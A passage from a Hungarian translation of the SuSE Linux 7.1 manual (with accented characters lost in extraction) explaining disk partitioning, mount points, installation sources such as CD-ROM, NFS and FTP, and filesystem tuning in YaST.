2.20 bra: YaST Partcik hozzrendelse Egy prbeszdablakot kapunk, hogy vlasszuk ki a partci tpust. (lsd a 2.20 brt) Vlaszthatunk elsdleges (primary) partcit, kiterjesztett (extended) partcit vagy logikai meghajtt (logical drive). Vlasztsunkat er stsk meg o a lenyomsval. Ne felejtsk el: maximum ngy els dleges parto cit jellhetnk ki. Ha tbbre van szksgnk, ki kell jellnnk legalbb egyet kiterjesztett partciknt. Ezen a kiterjesztett partcin bell jellhetnk ki logikai partcikat. Lsd a 2.9 . fejezetben (69. oldal). Amikor kijellnk egy els dleges vagy egy logikai partcit, meg kell o adnunk az eszkz nevt. A YaST megjelent egy listt az elrhet eszko zk nevvel. Norml esetben a legfels ttelt kell csak vlasztanunk, pl. o /dev/hda2, s nyomjuk meg a -t. A kvetkez lpsben bellthatjuk a partci mrett. A YaST kezdso knt javasolni fogja az els szabad partci els cilindert. Alapesetben o o meg kell er stennk ezt. A mret belltshoz hrom alternatva kzl o vlaszthatunk: az utols cilinder szma (pl. 976), a partci cilinderei nek szma (pl. +66) vagy a mret megabjtban (pl. +100M). A lenyomsra a Folytats-hoz kerlnk. Csak nyomjunk -t. A kperny als rszn most ltnunk kell a kijellt partcinkat. Ha nem o vagyunk elgedettek vele, eltvolthatjuk oket az F4 lenyomsval. 5. Egyik partcinknak swappartcinak kell lennie. Ha mg nincs egyl taln swappartcink, hasznljuk a a s billenty ket, hogy kivu lasszunk egyet. Informci a swappartci mretr l a 2.9 . fejezetben o 77

2. Az els SuSE Linux telepts o (69. oldal) tallhat. Nyomjuk meg az s vlasszuk a Linux F3 -at, swappartci-t, majd er stsk meg a o lenyomsval. 6. Mindennel meg vagyunk elgedve? A meghajtnak teljesen be kell fedve lennie a partcikkal. Nem felejtettk el a swappartcit? Most vigyk a kurzort a Folytats (Continue)-ra, s egy majd tvisz minket a Csatolsi pont kijellse (Assigning mount points) menhz. Egyes esetekben a YaST leellen rzi a swappartcinkat, hogy meggy z djn o o o annak hibamentessgr l. o 2.11.2 Fjlrendszerek s csatolsi pontok (Mount points)

Mir l is van sz? o Az el z rszben minden partcit bertunk a partcis tblba. Ebben a lo o psben tovbbi informcikat fogunk megadni a Linuxpartcikrl, amelyeket most lltottunk be, s a DOS/HPFS partcikrl is, ha egyltaln vannak ilyenek. Ltrehoztuk az sszes szksges partcit, s ezeket a partcikat bertuk a partcis tblba, de ezek mg nincsenek a lemezre rva. Mg van nhny ltfontossg paramter, ami hinyzik, s ezek ebben a lpsben kerlnek megadsra. sszefoglals Ezt az informcit rszletesen felrjuk a fjlrendszer tblba (/etc/fstab), ami tartalmazza az sszes, fjlrendszerre vonatkoz informcit, amiket majd be kvnunk csatolni (mounted). Minden bejegyzs tartalmazza az eszkz (device)-t, a helyt a knyvtrfban, valamint a fjlrendszer tpust11 . A YaST -nak szksge van ezekre az adatokra, hogy ltrehozza a Linux fjlrendszert a formattlt meghajtkon. A swappartcit nem rintjk ebben a lpsben, mivel azt mr ltrehoztuk a 2.11.1 . fejezetben (76. oldal). A partcis tblval ellenttben (lsd a 2.11.1 . fejezetben (76. oldal)) a /etc/fstab adatai Linuxspecikusak, s nincs befolysuk ms opercis rendszerekre. Ezek mg magyarzatra szorulnak: A Linuxban minden fjlrendszer be van kapcsolva (mounted) a "knyvtrfba" (lsd a C.1 . fejezetben (529. oldal)). Minden fjlrendszernek ki kell jellnnk egy gat ezen a fn. Ezt hvjuk az adott fjlrendszer  csatolsi pont (mount point)-jnak. Mg DOS s HPFS fjlrendszer is bekapcsolhat a Linux knyvtrfba. A fjlrendszerek terletnek adminisztrlsa Linuxban az inode-ok hasznlatval trtnik. Egy inode csak egy kis fjl, ami egy adott fjlnak a tnyleges adatterletre mutat. Szmos inode-ot jellnk ki, mialatt ltrehozunk egy fjlrendszert. Ha sok kis fjlt akarunk ltrehozni, sok
11

Valamint informcit a dump s az fsck programoknak; lsd man 5 fstab.

78

2.11. Merevlemeznk kzi belltsa inode-ra lesz szksgnk, melyek sajtmaguknak is nmi helyet ignyelnek. Azokhoz a fjlrendszerekhez, melyek sok nagy fjlt tartalmaznak, kevesebb inode szksges. Tovbbi rszletes informcirt lsd a 3.3.10 . fejezetben (94. oldal). Lpsr l lpsre o Most a Clpartci belltsa / fjlrendszerek (Set target partitions / filesystems) -ben vagyunk (lsd a 3.10 . fejezetben (92. oldal)). Az j partcik fjlrendszernek meghatrozshoz az albbiak szerint jrjunk el: 1. El szr nmi informci arrl, hogy mit is kell tenni: o Minden egyes DOS s HPFS fjlrendszernknek (a DOS s HPFS partcikon) ltrehozhatunk egy csatolsi pont (mount point)-ot. Minden egyes j Linuxpartcinak: ki kell vlasztanunk egy csatolsi pontot. kivlaszthatunk egy fjlrendszert F3=tpus kivlasztsa (ext2 vagy reiserfs). vgezhetnk nmi nomhangolst a F5=Szakrt men-vel , megvltoztathatjuk a partci javasolt formattlsi mdjt F6=Formattls (ellen rzssel (check) vagy anlkl. o Az fstab olvassa (reading fstab) m veletre alapeu setben nincs szksg.

2.21 bra: YaST DOS/Windows partcik csatolsa 2. Az bellthatjuk a Linux-fjlrendszer tpust. Jelenleg a kiprF3 -mal blt s letesztelt ext2, vagy az j reiserfs (halad (advanced) opcikkal) rhet el. o 79

2. Az els SuSE Linux telepts o A ReiserFS nem hasznlhat RAID 1 vagy RAID 5 szoftverrel egytt. A hardvernek RAID megoldsokban nincsenek korltozsai. A reiserfs nagyon j az ext2-hz kpest; tartsuk ezt szem el tt, ha o a reiserfs mellett dntnk. Tovbbi informcit a ReiserFS-r l a 92 o rszben tallunk. 3. Ha el akarunk rni egy DOS vagy HPFS partcit Linuxbl, ki kell v F4 -et. lasztanunk azt, s megnyomni az Egy ablak jn fel, ahol megadhatunk egy knyvtrat. Ebbe a knyvtrba fogjuk becsatolni a DOS vagy HPFS fjlrendszernket. Pldul rjuk be, hogy /dosc (ne felejtsk le a / (slash-t)!). Er stsk meg ezt a o lenyomsval. Ha egy DOS-partcit vlasztottunk, egy msik ablak jelenik meg (lsd a 2.21 brt). Kivlaszthatjuk, hogy milyen mdon rjk el a DOS-t a Linux all (lsd a 3.3.10 . fejezetben (93. oldal)). ltalban fggetlenl akarjuk hasznlni a DOS-fjlrendszernket, s csak alkalmanknt akarjuk elrni a DOS-partcit Linuxbl, pldul: fjlokat thelyezni; ezrt vlasszuk a DOS-t vagy FAT-Win95-t (vfat). UNIX fjlattribtumok s hossz fjlnevek, amint azt az UMSDOS fjlrendszer biztostja, csak akkor szksgesek, ha a SuSE Linux-szot egy DOS partcira akarjuk telepteni csak sajt felel ssgnkre tegyk ezt! o A DOS-t tbbnyire nllan akarjuk hasznlni, s csak fjlokat akarunk cserlni a Linuxban. A szoksos Linuxteleptshez vlasszuk a DOSt. UNIX fjlattribtumok s hossz fjlnevek, ahogy azt az UMSDOS fjlrendszer ajnlja fel, csak a dem mdhoz szksgesek.

2.22 bra: YaST Csatolsi pontok 4. Ezutn rjuk be a Csatolsi pontok (mount points)-at a Linuxpartcinkhoz. Csak vlasszuk ki a Linux partciinkat, egyiket a msik utn, s nyomjuk meg az Egy ablak fog feljnni, ahol eldnthetjk, hogy F4 -et. hov csatoljuk ezt a partcit a fjlrendszer fnkban. rjuk be a teljes tvonalat, kezdve a (/) "slash"-el. Az, hogy melyik csatolsi pontot hasznljuk a partciinkra, az attl fgg, hogy miknt szervezzk a partciinkat. Minden esetben felttlenl szk80

2.11. Merevlemeznk kzi belltsa sgnk van egy gykrknyvtrra (root /), ami az egsz fjlrendszer "gykere". Minden ms fjlrendszer s azok csatolsi pontjai, tbbkevsb t lnk fggenek. Ltre kell hoznunk egy-egy csatolsi pontot o minden egyes Linux-fjlrendszernek. Becsatolatlan (unmounted) fjlrendszereket nem fogunk tudni elrni. Azokat a knyvtrakat, amik szksgesek az indtskor (boot time), kzvetlenl a / al kell tennnk. Ebben az llapotban a klnll gak mg nincsenek sszerakva (becsatolva (mounted)). Emiatt nem szabad kijellnnk a /bin, /dev, /lib, /etc, s a /sbin knyvtrakat ms partcikra. 5. Figyelmen kvl kell hagynunk a Szakrt men (Expert menu)-t, ha csak most kezdnk ismerkedni a Linux-szal; alapszably, hogy az alaprtelmezs garantlt, biztos m kdst biztost. Csak a u javasolt rtkeket vltoztassuk, ha pontosan tudjuk, hogy mit csinlunk (lsd a 3.3.10 . fejezetben (94. oldal))! 6. Most kell elhatroznunk, hogy vajon akarjuk-e formattlni (s hogyan) Linuxpartciinkat. Mivel csak most hoztuk ltre ezeket a partcikat (a 2.11.1 . fejezetben (76. oldal)), azokat formattlni kell. Ha a merevlemeznk viszonylag j, vlasszuk a norml formattls-t. Ha a trolmdink nem annyira j, jobb, ha a Formattls s ellenrzs-t vlasztjuk. Vlasszuk ki a Linuxpartcikat, egyiket a msik utn, s nyomjunk F6 ot, hogy kivlasszuk a megfelel formattlst. A vgn a mennek a 2.22 o brra kell hasonltania. 7. A Folytats (Continue) vlasztsa utn egy prbeszd ablak jn fel, s meger stst fog krni t lnk. Ezutn a YaST formattlja a o o partciinkat.

81

2. Az els SuSE Linux telepts o

82

3. fejezet

YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz


Fordtotta: Vradi Istvn A YaST (yast) nagyon fontos rsze a SuSE Linux-nak. Ezt az alapvet proo gramot hasznljuk az opercis rendszernk belltshoz s adminisztrlshoz. Evvel tudunk telepteni s eltvoltani rendszer- s felhasznli szoftvereket, s megvalstani alap rendszer-adminisztrcis feladatokat, mint pl. hardvert cserlni, belltani hlzatot vagy rvnyes felhasznlkat hozzadni. Ez a fejezet krvonalazza a YaST sok fontos vonst, nhnyat hasznlunk ezekb l a rendszer teleptse sorn. o A SuSE Linux 7.1a YaST legfrisebb verzijt tartalmazza; ebb l kvetkeo z en el fordulhat, hogy azok a kpek, amik e fejezetben vannak, rszleteo o iben klnbzhetnek a monitorunkon megjelen kpt l. o o

3.1

Alapvet hasznlat s billentyuzet-kioszts o

A YaST -ot a Prompt -rl egyszer en a yast parancsot berva indthatjuk u el:
meggyfa: # yast

A menk s a kperny k kztt a YaST -ban a nylbillenty kkel s a TAB-bal o u ( Tab ) naviglhatunk. Krbemehetnk a listban a kurzorral s a s -lal lal, a listrl tteleket a Space -szel vlaszthatunk ki. Rendszerint az Enter t (vagy hasznljuk a vlasztsunk meger stsre. Az el z menhz -t) o o o val visszatrsre hasznljuk az (vagy a Ha el akarunk menteni Esc -et Q -t). egy sajtos vlasztst (mint pl. a teleptsre sznt csomag vlasztkot), akkor hasznljuk erre az F10 billenty t, ami elmenti a vlasztsunkat s visszatr u az el z menhz. o o Ahol a YaST Igen vagy Nem vlaszt vr t lnk, hasznlhatjuk a o Tab -ot, hogy oda-vissza kapcsolgassunk a kt opci kztt. Ha a YaST -ot sznes mdban hasznljuk, az aktv vlaszts mindig kk kiemels . u Abban a ritka esetben, ha a YaST -ot tvolrl, egy nem Linux terminlrl rjk el, a m veleti billenty k (function keys) valszn leg nem hasznlhatk. u u u 83

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz Ebben az esetben az Ctrl +f <szm> billenty kombincik hasznlhatk u az F<szm> helyettestsre. Az F10 billenty helyett hasznljuk a u Ctrl + f kombincit. Nincs helyettest je az 0 o F11 s F12 billenty knek. u

3.2

A YaST f men o

Amikor el szr indtjuk a YaST -tot, a "f men"-ben vagyunk (lsd a 3.1 o o brt).

3.1 bra: A "f men" o ltalnos sg a teleptshez Amint a cm is sugallja, ez a menopci nhny ltalnos tletet ad a teleptskor. Telepts behangolsa -> Ez az opci el hoz egy alment a teo leptsnk behangolsra. (Lsd a 3.3 fejezetet tovbbi rszletekrt). Csomagok kivlasztsa/Teleptse Ez a menopci a YaST csomagkezel hz visz minket, amit szoftvercsomagok teleptsre s elo tvoltsukra hasznlunk (Lsd a 3.4 . fejezetben (96. oldal)). Rendszer frisstse Arra az esetre, ha nhny csomagot frissteni kell. Rendszeradminisztrci -> Egy msik magtl rtet d cm. o o (Lsd a 3.6 . fejezetben (102. oldal)). A README fjl megjelentse a teleptsi mdiumrl Itt tallhatk a legfrissebb fontos informcik . Szerzi jogok A jogszok mondanivalja. Kilps a YaST-bl De nem rkre....

3.3

A telepts belltsa

A telepts belltst a Telepts behangolsa almenben vgez hetjk el ( 3.2 ). Az visszatrhetnk a f menhz. Esc -kel o 84

3.3. A telepts belltsa

3.2 bra: A Telepts behangolsa men A tnyleges telepts csak a clpartci meghatrozsa utn kezd dhet meg! o Szmos ttelt vlaszthatunk ki a telepts utn is, ami hasznos, ha frissteni akarjuk a belltsokat! 3.3.1 A nyelv kivlasztsa A Nyelv kivlaszts-val a YaST nyelvt vltoztathatjuk meg; rtkt a LANGUAGE vltoz a /etc/rc.config-ban trolja (lsd a 88 . fejezetben (463. oldal)). 3.3.2 A billentyuzet belltsa

A Billentyzet-kioszts megadsa -val megvltoztathatjuk a billenty zet kiosztst; az rtket a u <KEYTABLE> vltoz a /etc/rc.config -ban trolja (lsd a 17.6 . fejezetben (464. oldal)). 3.3.3 A forrsmdium

A Teleptsi mdium meghatrozsa menopci vlasztsra egy listt kapunk a potencilis forrsmdiumrl. Err l a menr l ( 3.3 bra) o o kivlaszthatjuk a mdiumot, ahonnan a teleptst szeretnnk vgrehajtani. Ez a vlaszts a kezd rendszer teleptsre s tovbbi csomagoknak a meglv o o rendszerhez val hozzadsra kszlt. A YaST egy msik menben lehet v o teszi, hogy kivlasszunk egy teleptsi mdiumot, de ezt egy meglv rendo szer foltozshoz (patches) vagy frisstshez alkalmazzuk. Ezt az eljrst ks bb trgyaljuk majd ebben a fejezetben. o A legtbb esetben a Linuxot kzvetlenl CD-ROM-rl akarjuk telepteni, gy a Telepts CD-ROM-rl menpontot fogjuk vlasztani. A Telepts egy merevlemez-partcirl menopcival lehet sgnk van telepteni egy olyan merevlemezr l, ami tartalmazza a o o 85

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.3 bra: A telept mdium kivlasztsa a YaST -ban o

szksges forrsfjlokat. Ez az opci hasznos, ha CD-ROM-unkat nem tmogatja a Linux (lsd mg a 3.3.5 ). A Telepts NFS-en keresztl s a Telepts egy FTP-Kiszolglrl menopcival telepthetnk Linuxot egy rendszerre, aminek nincs CD-ROM meghajtja, de Ethernet-tel kapcsoldik egy msik gphez, aminek van egy CD-ROM meghajtja. Tovbbi informci ezekr l az opcikrl a 3.3.6 s a 3.3.8 . fejezetben (89. oldal) tallhat o mg.

3.3.4

Telepts CD-ROM-rl

3.4 bra: A CD-ROM kivlasztsa 86

3.3. A telepts belltsa Ha CD-ROM-rl szndkozunk telepteni, meg kell hatroznunk a CD-ROM meghajtnkat (lsd a 3.4 brt). Ha nem vagyunk biztosak benne, prbljuk meg az ATAPI EIDE meghajtt. 3.3.5 Telepts merevlemez-partcirl

Ha a CD-ROM meghajtnk kzvetlenl nincs tmogatva, attl mg telepthetnk Linuxot a rendszernkre. Ahhoz viszont ms teleptsi mdiumot kell hasznlnunk. 3.3.6 Telepts NFS-en keresztl

A hlzati telepts tbb gpen trtn knny teleptsre knl lehet sget a o u o gyakorlott Linux-felhasznlnak. Ez klnsen hasznos, ha csak egy gpnek o van CD-ROM meghajtja, ahonnan a forrsfjlokat egy NFS-en elrhet merevlemezre tehetjk. Miel tt megksreljk a teleptst NFS-en keresztl, o jratosnak kell lennnk az NFS kiszolgl belltsban. Ezt az eljrst lehet hasznlni a Linux teleptsre olyan Notebookon, amiben van egy m kd PCMCIA hlzati krtya. u o

3.5 bra: Hlzat belltsa az NFS-r l teleptshez o Az NFS-en keresztli telepts nemcsak azokon a gpeken valsthat meg, amik Etherneten kapcsoldnak egymssal. Az NFS telepts megvalsthat olyan gpekkel is, amik prhuzamos porton keresztl vannak "hlzatostva". Ez a kpessg klnsen azokat a felhasznlkat rdekli, akik a Linuxot laptopra vagy notebookra akarjk telepteni. Ha egy ilyen teleptst terveznk, termszetes gyelnnk kell az indtsnl arra, hogy olyan kernelt vlasszunk, ami tartalmazza a PLIP tmogatst. Tovbb ebben az esetben tovbbi bejegyzseket kell megadnunk, amivel a PLIP interfsz megfelel en bellthat: o Ha kzvetlenl csatlakozunk az NFS kiszolglhoz a phuzamos porton t, akkor a PLIP partnerek IP cme azonos, amint lthat a kvetkez NFSo szerver pldban. A PLIP interfsz a legtbb esetben plip1 lesz. Az 87

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.6 bra: PLIP kongurls "interfsz"-szel egy olyan hlzati interfszre utalunk, ami bellthat s lthat az "ifcong" paranccsal. A hardver-paramterek csak igen ritka esetben klnbznek. gyeljnk r, hogy ha egy prhuzamos portot PLIP interfszknt, hasznlunk, a nyomtatk nem fognak m kdni ezen az interfszen! u A kvetkez ablakban meg kell adnunk az NFS kiszolgl IP cmt s a o knyvtrat ahol a forrs fjlok tallhatk. Termszetesen, az NFS kiszolglnak mr exportlni kell ezt a knyvtrat, hogy az elrhet legyen a gp o szmra amikor teleptnk! 3.3.7 Telepts hozzfrhet knyvtrbl o

Evvel az opcival a Linuxot kzvetlenl egy merevlemez partcirl lehet telepteni. Ez hasznos, amikor nem tudunk telepteni CD-ROM-rl, mert nincs elrhet meghajt. o E meghajt YaST -bl val elrshez, el szr indtsuk el a YaST -ot. Ezuo tn t kell vltanunk egy msik konzolra. Pldul az Alt + F2 billenty u kombincival egy msodik virtulis konzolt kapunk. Jelentkezznk be, mint root. Innen be kell csatolni a CD-ROM meghajtnkat manulisan a knyvtrfa egy elrhet csatolsi pontjba, pldul a kvetkez paranccsal o o
meggyfa: # mount -tiso9660 /dev/cdrom /cdrom

Lsd a 19.11.2 . fejezetben (511. oldal). Most folytathatjuk egy norml teleptssel. Ennek elvgzshez, a kvetkez o kperny n (lsd a 3.7 brt) meg kell adnunk azt a knyvtrat ahol a forrs o fjlok tallhatk. Ez az a knyvtr ahov a CD be lett csatolva, s amelyben a suse knyvtr is tallhat. Ha pldul becsatoltuk a meghajtt (vagy a merevlemez partcit) a /cdrom knyvtrba, akkor ez lesz (Lsd a 3.7 brt is)
/cdrom/suse

88

3.3. A telepts belltsa

3.7 bra: A forrs knyvtr megadsa a forrs fjlok knyvtra. 3.3.8 Telepts FTP-r l o

Hasonlan az NFS teleptshez, lehet sg van FTP-r l telepteni a SuSE o o Linux-szot egy gpre aminek egyltaln nincs CD-ROM-ja. Ez m kdik, u de csak akkor, ha a hlzati alapbelltst megfelel en vgeztk el. o

3.8 bra: Az FTP telepts adatai FTP kiszolgl [Nv|IP] Az FTP kiszolgl neve vagy IP cme. Kiszolgl knyvtr A suse knyvtr helye az FTP kiszolgln. [ ] Hasznl Proxy-t? Csak akkor vlasszuk ezt, ha biztosak vagyunk, hogy egy FTP proxy kiszolglt kell hasznlnunk. Norml esetben ez nem szksges. Proxy [Nv|IP] Ez csak akkor szksges, ha egy proxy kiszolglt hasznlunk. 89

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz [X] Alaprtelmezett FTP Port? Ezt alaprtelmezsknt kell kivlasztani. Port [Szm] Az alaprtelmezettnek 21-nek kell lenni. [X] Anonymous FTP? Ezt mindig ki kell vlasztanunk, ha egy nyilvnos (public) FTP kiszolglt akarunk elrni. Bejelentkezs Abban az esetben ha nem vlasztottuk az anonymous FTP opcit fent, itt beadhatjuk a felhasznli nevet s a kvetkez mez t o o Jelsz a jelszt. Idkorlt [Msodperc] 60 a javasolt rtk. Helyi tmeneti knyvtr A helyi knyvtr, ami ideiglenes trolsra rendelkezsnkre ll. 3.3.9 Merevlemeznk partcionlsa

Egy j opercis rendszer teleptsnek legkritikusabb pontja, a merevlemez partcionlsa. ltalban, minden opercis rendszer hasznl legalbb egy partcit. Linux-szal szintn lehet sg van a rendszert egy ltez MS-DOS fjlrendo o szerre telepteni, de ezt az opcit csak egy "tbngszsre" kne hasznlnunk. A teljestmny lnyegesen alacsonyabb gy, mint a Linux sajt partcijra val teleptskor, s a rendszer sem olyan biztonsgos, mivel nincs elrhet fjlellen rzsi rendszer MS-DOS-ra. Nem utolssorban a Linux o o adatok, behats alatt lehetnek mialatt a DOS fut. Egy Linux rendszerrel, ltalban legalbb kt partcit ksztnk. Egyet a fjloknak s programoknak, egyet pedig a memria adat cserlsre (swapping), ez utbbit a rendszer vgezi a httrben. Esetleg kszthetnk tbb partcit is a fjlok s programok szmra. A partcik mrete s szma egy Linux rendszerben szemlyes zls s loza krdse. (lsd a 2.9 . fejezetben (69. oldal) s a 2.10 . fejezetben (71. oldal)); Egy rszletes plda a partcionlsra a 2.11.1 . fejezetben (76. oldal) tallhat. A partci(ko)n tlmen en amit a Linuxnak hoztunk ltre, egy csere (swap) o partcit is kell ksztennk, hogy nveljk a gpnk virtulis memrijt (memory). (lsd a 2.10.1 . fejezetben (72. oldal)) Lehet sg van swap FJL hasznlatra is, azonban ez nem ajnlott, a csko ken teljestmny miatt, mivel minden hozzfrs ehhez a fjlhoz szksgszeo r en a fjlrendszeren megy keresztl. Kevs memrival rendelkez rendszeu o reknek a swapfjl nem alternatva, szksges a swappartci. Ha tbb, mint egy merevlemez van a rendszernkben, ki kell vlasztanunk, hogy melyiket akarjuk partcionlni. Miutn kivlasztottuk a meghajtt, megjelenik egy men, ami megmutatja a merevlemez partciink jelenlegi llapott (lsd a 3.9 brt). A nyilakkal s vgigmehetnk a meglv partciink listjn. Az o F3 billenty t hasznljuk a fjlrendszerre vonatkoz partci tpusnak megvlu toztatsra, pldul DOS-rl ext2-re. Meglv partcik eltvoltsra, haszo nljuk az F4 billenty t. j partcik ltrehozshoz az u F5 billenty t haszu nljuk. Amikor j partcikat hozunk ltre, klnsen gyeljnk arra, miknt 90

3.3. A telepts belltsa

3.9 bra: Partcionls a YaST segtsgvel

hatrozzuk meg a partcik mrett. Lehet sgnk van meghatrozni a bloko kok mrett MB-ban vagy kB-ban. Biztosan olvassuk el ezeknek az opciknak a szintaktikjra vonatkoz rszletes utastsait, amelyet a kperny ad o rluk. Egy swap partci ltrehozshoz meg kell vltoztatnunk egy partcihoz tartoz fjlrendszert. Amint van egy elrhet partci, amit swap partcinak o hasznlunk, az F3 billenty vel vlasszuk a swap-ot az elrhet partci tu o pusok listjrl. Arra is van lehet sg, hogy a merevlemeznk egy rszt o partcionls nlkl hagyjuk, vagy ppen ltrehozunk egy partcit, amit nem ktnk egyetlen fjlrendszerhez sem. Ez nagyon hasznos akkor, ha egy msik opercis rendszert terveznk telepteni ugyanarra a merevlemezre. Ebben az esetben csak hagyjuk a meghajt egy rszt partcionls nlkl, vagy az F3 billenty vel vlasszunk le egy partcit arrl a bizonyos fjlrendszer tpusu rl (ha terveznk egy tlsgosan is gyakori teleptst, nem-Linux opercis rendszert ugyanarra a merevlemezre, hagyjunk helyet a lemez elejn, evvel kevesebb gondunk lesz). Legynk tudatban, hogy a Linuxnak teljesen mindegy, hogy milyen tpus partcira teleptjk: A Linux teleptse elvgezhet akr egy els dleges (primary) partcira vagy o o egy msodlagos, logikai partcira. A logikai partci, megkerli napjaink modern (PC) hardver korltozsait. Ezt arra talltk ki, hogy legy zze a tnyt, miszerint a partcis tbla nagyo sga csak ngy bejegyzsre elg. Ha tbb, mint ngy partcit akarunk a merevlemeznkn, ltre kell hoznunk egy kiterjesztett (extended) partcit. Amint ltrehoztuk a kiterjesztett partcit, mr kpesek vagyunk ltrehozni tbb logikai partcit ezen a nagy kiterjesztett (extended) partcin bell1 .
1 A kiterjesztett s a logikai partcik a DOS alatt, mint kiterjesztett DOS partci vagy logikai meghajt nven ismert, habr ezt a fogalmat brmilyen opercis rendszer alkalmazhatja.

91

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz 3.3.10 A cl fjlrendszer/partci belltsa

Miutn befejeztk a merevlemeznk partcionlst, meg kell hatroznunk, hogy a partcik miknt illeszkedjenek a Linux knyvtrfba. Vlasszuk A cl fjlrendszer/partci belltsa menopcit.

3.10 bra: A fjlrendszerek kijellse A 3.10 brn lthatunk egy pldt, egy merevlemez partcionlsra. Minden egyes partcira kivlaszhatjuk, hogy formattlva legyen-e, s hogyan, valamint hov legyen a knyvtrfnkba "csatolva (mounted)". Felttlen ki kell jellnnk egy partcit, "root" partcinak! Ez a partci szksges, mivel ez a kiindulsi pontja az egsz knyvtr szerkezetnek, s igen, ez hasonl szerepet, tlt be mint a gykerek a fknl! Gy z djnk o o meg rla, hogy kijelltnk e Csatolsi Pontot (Mountpoint) / a "root" partcinknak. A kperny aljn lv men klnbz m veleti (function) billenty ket deo o o u u nil, amiket a fjlrendszer kezelsre hasznlhatunk. Az a szably, hogy ezek m kd kpessge csak a Linux partcinkra rhet el. Ha kijellnk u o o partcikat, amik ms fjlrendszerre lettek formattlva, a m veleti (function) u billenty k nem fognak m kdni, kivve az u u F3 billenty t, amit a csatolsi u pont kivlasztsra hasznlunk. A fjlrendszer tpusnak belltsa Az vlaszthatunk a kt fjlrendszer kztt (ext2 s reiserfs). F3 -mal ext2 az ext2 fjlrendszer (msodik kiterjesztett fjlrendszer, second extended lesystem) mr sok vvel ezel tt megalapozdott, mint a szabo vny fjlrendszer. reiserfs a ReiserFS egy fjlrendszer a kvetkez generci szo mra; annak ellenre, hogy ez a fjlrendszer mg nagyon j, mr szles krben hasznljk tbbek kztt, szmos gpen a mi bels rendszernko ben is. Valban el kne olvasnunk a feljegyzseket az /usr/share/ doc/packages/reiserfs/README alatt. 92

3.3. A telepts belltsa Szoros egyttm kdsben H ANS R EISER s C HRIS M ASON krli u fejleszt i csoporttal, a SuSE-nak kiterjedt, nagyteljestmny fjlrendo u szerei vannak, hogy belefoglaljanak egy "Journaling fjlrendszert". A Journaling-on keresztl garantlt, hogy mg a nagy kiszolglkon is, egy fjlrendszer ellen rzs pr msodpercen bell megvalsthat. o Krem ne hasznljunk ReiserFS-t RAID 1 s RAID 5 szoftverrel. Hardveres RAID megoldsoknl nincsenek ilyen megktsek. Egy ReiserFS partcinak minimlisan 34 MB mret nek kell lennie. u A biztonsg kedvrt (hogy ne legyen problmnk), ksztsnk egy kln boot partcit, ext2 fjlrendszerrel s teleptsk a LILO -t ide. Ez a szabvny SuSE Linux bellts. A ReiserFS segdprogramjai a reiserfs csomagban, az a kszletben vannak. Napraksz informcik tallhatk a: http://devlinux.com/projects/reiserfs/ cmen Csatolsi pontok Az F4 billenty t hasznlhatjuk arra, hogy megjelljk azt a helyet, ahov a u kivlasztott partcit be kell majd csatolni a knyvtrfba. Csak emlkeztet l: Ktelez egy partcit kijellni root partcinak (/). Ha o o mr vannak DOS/Windows partcik a lemeznkn, akkor azoknak is ltrehozhatunk csatolsi pontokat. Pldul, kszthetnk egy /dosc csatolsi pontot az els DOS partcinak s egy /dosd csatolsi pontot a msodiko nak. Gy z djnk meg rla, hogy teljes tvonal nevet jelltnk ki (kezdve a (/) o o jellel) az sszes csatolsi pontunknak, s hogy ltrehoztunk egy (s csak egy) egyedi csatolsi pontot minden egyes partcinak! Tovbb, soha nem szabad ltestennk kln partcikat az /etc, /bin, /sbin, /lib s /dev knyvtraknak. E knyvtraknak (amik fontos parancsokat, tovbbi knyvtrakat s belltsi fjlokat tartalmaznak, amik szksgesek a rendszer tbbi rsznek becsatolshoz), a root partcin kell maradniuk! Egy fontos megjegyzs a DOS/Windows partcikra vonatkozlag! Ezeket a partcikat a knyvtrfba, hrom klnbz tpusknt csatlakoztathatjuk be. o Mint egy "norml" DOS partci (= msdos), egy DOS fjlrendszer, sszes norml korltozsaival, mint egy FAT-Win95 (= vfat), amiben a hossz fjlnevek lehetsgesek, a harmadik esetben, mint az gynevezett UMSDOS partci, ami megengedi a hossz fjlnevek hasznlatt egy "norml" DOS partciban. Ez a tpus csak akkor szksges, ha a DOS partcin akarunk Linux fjlokat trolni; nem nagyon hatkony, ha a DOS partci csak adat trolsra kell neknk. Ahol csak lehetsges, el kell kerlnnk az UMSDOS-t! 93

3. YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz

3.11 bra: Szakrt men a fjlrendszerek belltshoz o Szakrt men a fjlrendszer inode surusgnek nomhangolsra o Itt a Szakrt menben lehet a nomhangolst vgrehajtani. o Az Inode s r sget (density) hasznljuk az el re vrhat fjl mret (inodeuu o onknti) meghatrozsra egy adott partcin. Ha pldul, 4096 bjtos inodeonknti s r sget vlasztunk, ez azt jelenti, hogy megkzelt leg 4096 bjt uu o (4 kB) tlagos fjl mretre szmtunk. Amikor egy fjlrendszert ksztnk egy partcin, a rendszer kiszmolja a szksges inode-ok szmt, az inode s r sgi szmot s a partci mrett uu gyelembe vve. Az inode-ok szma kpviseli a fjlok szmt, amit ltre lehet hozni az adott partcin. A fenti pldban, ha a partci mrete 4 Megabjt, a partcinak kevesebb mint 1000 inode-ja lesz. Ha ezt a partcit feltltjk sok llomnnyal, melyek mind nagyjbl 1 kB-osak, ekkor csak egy negyedt tudjuk a partcinak hasznlni miel tt az sszes inode elfogy. Tbb fjlt nem lehet a partcihoz o hozzadni. A 4 kB-os inode rtk fjlonknt, bizonytottan egy j alaprtelmezett rtk (tlzottan magas szm inode szksgtelen lemez helyfoglalst eredmnyezne, mivel az inode-oknak is kell hely, termszetesen). Ha egy adott partcit gy jt knt (spooling) hasznlunk (szksges pldul az jsg (NEWS) u o szolgltshoz), 2048 bjt s r sg inode-onknt ajnlott, mivel az jsgcikkek uu (news articles) tipikusan igen kis fjlok. A msik indok, amirt nagy szm inode kellhet, az az l rendszer (live o lesystem) beintegrlsa. Ezzel, mintegy 40.000 fjlt integrlunk a fjlrendszerbe, szimbolikus linkeken keresztl. Ekkor is minden egyes fjlnak kell egy inode. A blokk mret eldntse kzvetlen befolyssal van arra, hogy meddig tart a fjlrendszer ellen rzse: A fjlrendszer ellen rzsnek tartama ngyzetesen o o reciprok arnyban ll a a blokk mretvel - pl. ha 